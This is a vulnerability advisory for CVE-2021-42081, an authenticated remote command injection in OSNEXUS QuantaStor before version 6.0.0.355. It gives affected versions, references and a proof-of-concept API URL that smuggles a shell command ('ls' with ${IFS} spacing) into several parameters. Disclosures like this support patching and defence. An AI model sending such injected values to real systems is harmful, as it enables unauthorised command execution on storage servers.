critical9.1
CVE-2021-42081
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
Impact
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Osnexus | Quantastor | before 6.0.0.355 |
Weakness classification
References
- NVD record
- CVE.org record
- https://csirt.divd.nl/CVE-2021-42081
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42081
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus